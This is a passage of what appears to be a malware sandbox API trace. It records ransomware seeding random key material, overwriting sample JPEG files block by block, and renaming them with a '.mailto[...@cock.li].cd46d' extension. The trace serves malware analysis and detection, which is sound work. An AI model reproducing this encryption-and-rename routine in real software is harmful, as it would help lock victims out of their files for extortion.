BaseAddress=0x43fc70) returned 1 [0057.684] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12e83238 [0057.685] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fc70 [0057.685] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43f9c8 [0057.685] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43f9c8) returned 1 [0057.685] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e461d8) returned 1 [0057.685] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402c30) returned 1 [0057.685] WriteFile (in: hFile=0x220, lpBuffer=0x12e83238*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xcc8fa38, lpOverlapped=0x0 | out: lpBuffer=0x12e83238*, lpNumberOfBytesWritten=0xcc8fa38*=0xc800, lpOverlapped=0x0) returned 1 [0059.189] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e83238) returned 1 [0059.190] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xc2075, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.190] ReadFile (in: hFile=0x220, lpBuffer=0x12e76a30, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xcc8fa38, lpOverlapped=0x0 | out: lpBuffer=0x12e76a30*, lpNumberOfBytesRead=0xcc8fa38*=0xc800, lpOverlapped=0x0) returned 1 [0059.190] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xc2075, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.190] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0059.190] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0059.190] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4412a8 [0059.191] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4412a8) returned 1 [0059.191] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12e83238 [0059.192] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4412a8 [0059.192] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441190 [0059.192] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441190) returned 1 [0059.192] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.192] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.192] WriteFile (in: hFile=0x220, lpBuffer=0x12e83238*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xcc8fa38, lpOverlapped=0x0 | out: lpBuffer=0x12e83238*, lpNumberOfBytesWritten=0xcc8fa38*=0xc800, lpOverlapped=0x0) returned 1 [0062.302] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e83238) returned 1 [0062.302] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x445d10 [0062.302] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.303] WriteFile (in: hFile=0x220, lpBuffer=0x44ce90*, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0xcc8fae0, lpOverlapped=0x0 | out: lpBuffer=0x44ce90*, lpNumberOfBytesWritten=0xcc8fae0*=0x145, lpOverlapped=0x0) returned 1 [0062.733] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44ce90) returned 1 [0063.309] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cea20) returned 1 [0063.309] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fea0) returned 1 [0063.309] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceab0) returned 1 [0063.309] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445d10) returned 1 [0063.309] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ff18) returned 1 [0063.310] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ff68) returned 1 [0063.310] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ff90) returned 1 [0063.310] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb0) returned 0x45ced0 [0063.310] wcscpy (in: _Dest=0x45ced0, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" [0063.310] wcscat (in: _Dest=0x45ced0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.mailto[2Hamlampampom@cock.li].cd46d" [0063.310] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xcc8fa98, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.310] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00610 [0063.318] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00610) returned 1 [0063.318] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4836b0) returned 1 [0063.318] NtQueryInformationFile (in: FileHandle=0x220, IoStatusBlock=0xcc8faa4, FileInformation=0xcc8fa7c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xcc8faa4, FileInformation=0xcc8fa7c) returned 0x0 [0063.318] NtSetInformationFile (FileHandle=0x220, IoStatusBlock=0xcc8faa4, FileInformation=0xcc8fa7c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.319] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ced0) returned 1 [0063.319] FlushFileBuffers (hFile=0x220) returned 1 [0066.218] CloseHandle (hObject=0x220) Thread: id = 523 os_tid = 0xf1c [0049.322] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg")) returned 0x20 [0051.484] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", dwFileAttributes=0x20) returned 1 [0052.311] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6c8 [0052.312] GetFileSizeEx (in: hFile=0x6c8, lpFileSize=0xceffc24 | out: lpFileSize=0xceffc24*=595284) returned 1 [0052.312] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x91550, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.312] ReadFile (in: hFile=0x6c8, lpBuffer=0xceffba8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xceffba4, lpOverlapped=0x0 | out: lpBuffer=0xceffba8*, lpNumberOfBytesRead=0xceffba4*=0x4, lpOverlapped=0x0) returned 1 [0052.313] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.313] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43ff40 [0052.313] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43ffb8 [0052.313] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43ffe0 [0052.313] NtQuerySystemTime (in: CurrentTime=0xceffb84 | out: CurrentTime=0xceffb84*=132174898162992000) returned 0x0 [0052.313] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x7d747616 [0052.313] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x2f4ba324 [0052.313] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x2278dd10 [0052.313] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x3e21078f [0052.313] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x52223f6a [0052.313] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x7add7c87 [0052.313] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0xa4a3e9f [0052.313] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x861c2b7 [0052.313] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x2785731c [0052.313] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x17fa6b36 [0052.314] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x74f14f87 [0052.314] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x51a00f [0052.314] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x58efb490 [0052.314] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x6a0208d8 [0052.314] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x36f07fcc [0052.314] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x647ecb28 [0052.314] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x7690c3c5 [0052.314] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x42e39620 [0052.314] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x429c4912 [0052.314] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x535872d6 [0052.314] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x49078e06 [0052.314] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x7af7ca87 [0052.314] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x6c88079f [0052.314] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x8bf990d [0052.314] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x482891b9 [0052.314] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x6d25c0b7 [0052.314] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x6b7321ed [0052.314] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x5359a4b2 [0052.314] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x3079239a [0052.314] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x1380749f [0052.314] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x47657911 [0052.314] RtlRandomEx (in: Seed=0xceffb90 | out: Seed=0xceffb90) returned 0x5f74552 [0052.327] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.327] ReadFile (in: hFile=0x6c8, lpBuffer=0x12e8fa40, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xceffb3c, lpOverlapped=0x0 | out: lpBuffer=0x12e8fa40*, lpNumberOfBytesRead=0xceffb3c*=0xc800, lpOverlapped=0x0) returned 1 [0052.328] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.328] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4024e0 [0052.328] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e46160 [0052.329] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43ff40 [0052.329] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ff40) returned 1 [0052.329] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12e9c248 [0052.333] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43ff40 [0052.333] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43ffe0 [0052.333] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ffe0) returned 1 [0052.333] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46160) returned 1 [0052.333] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4024e0) returned 1 [0052.333] WriteFile (in: hFile=0x6c8, lpBuffer=0x12e9c248*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xceffb3c, lpOverlapped=0x0 | out: lpBuffer=0x12e9c248*, lpNumberOfBytesWritten=0xceffb3c*=0xc800, lpOverlapped=0x0) returned 1 [0057.687] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e9c248) returned 1 [0057.687] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x4b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.687] ReadFile (in: hFile=0x6c8, lpBuffer=0x12e8fa40, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xceffb3c, lpOverlapped=0x0 | out: lpBuffer=0x12e8fa40*, lpNumberOfBytesRead=0xceffb3c*=0xc800, lpOverlapped=0x0) returned 1 [0057.688] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x4b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.688] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402c30 [0057.688] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e461d8 [0057.689] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43f9c8 [0057.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43f9c8) returned 1 [0057.689] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12e9c248 [0057.690] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43f9c8 [0057.690] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428d70 [0057.690] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428d70) returned 1 [0057.690] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e461d8) returned 1 [0057.690] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402c30) returned 1 [0057.690] WriteFile (in: hFile=0x6c8, lpBuffer=0x12e9c248*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xceffb3c, lpOverlapped=0x0 | out: lpBuffer=0x12e9c248*, lpNumberOfBytesWritten=0xceffb3c*=0xc800, lpOverlapped=0x0) returned 1 [0059.198] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e9c248) returned 1 [0059.198] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x84d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.198] ReadFile (in: hFile=0x6c8, lpBuffer=0x12e8fa40, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xceffb3c, lpOverlapped=0x0 | out: lpBuffer=0x12e8fa40*, lpNumberOfBytesRead=0xceffb3c*=0xc800, lpOverlapped=0x0) returned 1 [0059.199] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x84d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.199] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0059.199] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0059.199] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441190 [0059.199] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441190) returned 1 [0059.200] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12e9c248 [0059.200] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441190 [0059.200] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441820 [0059.200] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441820) returned 1 [0059.200] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.200] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.200] WriteFile (in: hFile=0x6c8, lpBuffer=0x12e9c248*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xceffb3c, lpOverlapped=0x0 | out: lpBuffer=0x12e9c248*, lpNumberOfBytesWritten=0xceffb3c*=0xc800, lpOverlapped=0x0) returned 1 [0062.305] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e9c248) returned 1 [0062.305] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d590 [0062.305] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.305] WriteFile (in: hFile=0x6c8, lpBuffer=0x44e990*, nNumberOfBytesToWrite=0x14d, lpNumberOfBytesWritten=0xceffbe4, lpOverlapped=0x0 | out: lpBuffer=0x44e990*, lpNumberOfBytesWritten=0xceffbe4*=0x14d, lpOverlapped=0x0) returned 1 [0062.734] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e990) returned 1 [0063.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40aad8) returned 1 [0063.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ff40) returned 1 [0063.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ac60) returned 1 [0063.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d590) returned 1 [0063.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ffb8) returned 1 [0063.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440008) returned 1 [0063.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440030) returned 1 [0063.313] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb8) returned 0x5e02960 [0063.313] wcscpy (in: _Dest=0x5e02960, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" [0063.313] wcscat (in: _Dest=0x5e02960, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.mailto[2Hamlampampom@cock.li].cd46d" [0063.313] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xceffb9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.313] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xce) returned 0x40d460 [0063.315] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d460) returned 1 [0063.315] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4829c0) returned 1 [0063.315] NtQueryInformationFile (in: FileHandle=0x6c8, IoStatusBlock=0xceffba8, FileInformation=0xceffb80, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xceffba8, FileInformation=0xceffb80) returned 0x0 [0063.315] NtSetInformationFile (FileHandle=0x6c8, IoStatusBlock=0xceffba8, FileInformation=0xceffb80, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.316] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02960) returned 1 [0063.316] FlushFileBuffers (hFile=0x6c8) returned 1 [0066.218] CloseHandle (hObject=0x6c8) Thread: id = 524 os_tid = 0xf20 [0049.323] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg")) returned 0x20 [0051.484] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", dwFileAttributes=0x20) returned 1 [0052.333] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcfc [0052.334] GetFileSizeEx (in: hFile=0xcfc, lpFileSize=0xcb0f830 | out: lpFileSize=0xcb0f830*=775702) returned 1 [0052.334] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0xbd612, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.334] ReadFile (in: hFile=0xcfc, lpBuffer=0xcb0f7b4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xcb0f7b0, lpOverlapped=0x0 | out: lpBuffer=0xcb0f7b4*, lpNumberOfBytesRead=0xcb0f7b0*=0x4, lpOverlapped=0x0) returned 1 [0052.335] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.335] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43ffe0 [0052.335] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419de8 [0052.335] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419aa0 [0052.335] NtQuerySystemTime (in: CurrentTime=0xcb0f790 | out: CurrentTime=0xcb0f790*=132174898163148000) returned 0x0 [0052.335] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x6e0fccfa [0052.335] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x28789609 [0052.335] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x5951135e [0052.335] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x6efe4009 [0052.335] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x321f7f12 [0052.335] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x3f254d97 [0052.335] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x3a2e7f7 [0052.335] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x4ac546ad [0052.335] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x3e8bb065 [0052.335] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x13a48683 [0052.336] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x7d69361 [0052.336] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x71b7e7ed [0052.336] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x63dea05d [0052.336] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x1bba73ad [0052.336] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x506475f4 [0052.336] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x71e2c0ad [0052.336] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x9a063e9 [0052.336] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x7e0e7389 [0052.336] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x6f5956df [0052.336] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x3f7716e1 [0052.336] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x173d9b67 [0052.336] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x6e8ba36 [0052.336] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x23b26b34 [0052.336] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x47912e [0052.336] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x507fcc19 [0052.336] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x7504bb09 [0052.336] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x69f8b292 [0052.336] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x3b51fd34 [0052.336] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x2974ee75 [0052.336] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x321ba24d [0052.336] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x177b7ee9 [0052.336] RtlRandomEx (in: Seed=0xcb0f79c | out: Seed=0xcb0f79c) returned 0x1aafc550 [0052.349] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.349] ReadFile (in: hFile=0xcfc, lpBuffer=0x12ea8a50, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xcb0f748, lpOverlapped=0x0 | out: lpBuffer=0x12ea8a50*, lpNumberOfBytesRead=0xcb0f748*=0xc800, lpOverlapped=0x0) returned 1 [0052.350] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.350] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4024e0 [0052.350] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e46160 [0052.350] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43ffe0 [0052.350] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ffe0) returned 1 [0052.351] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12eb5258 [0052.355] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43ffe0 [0052.355] RtlAllocateHeap 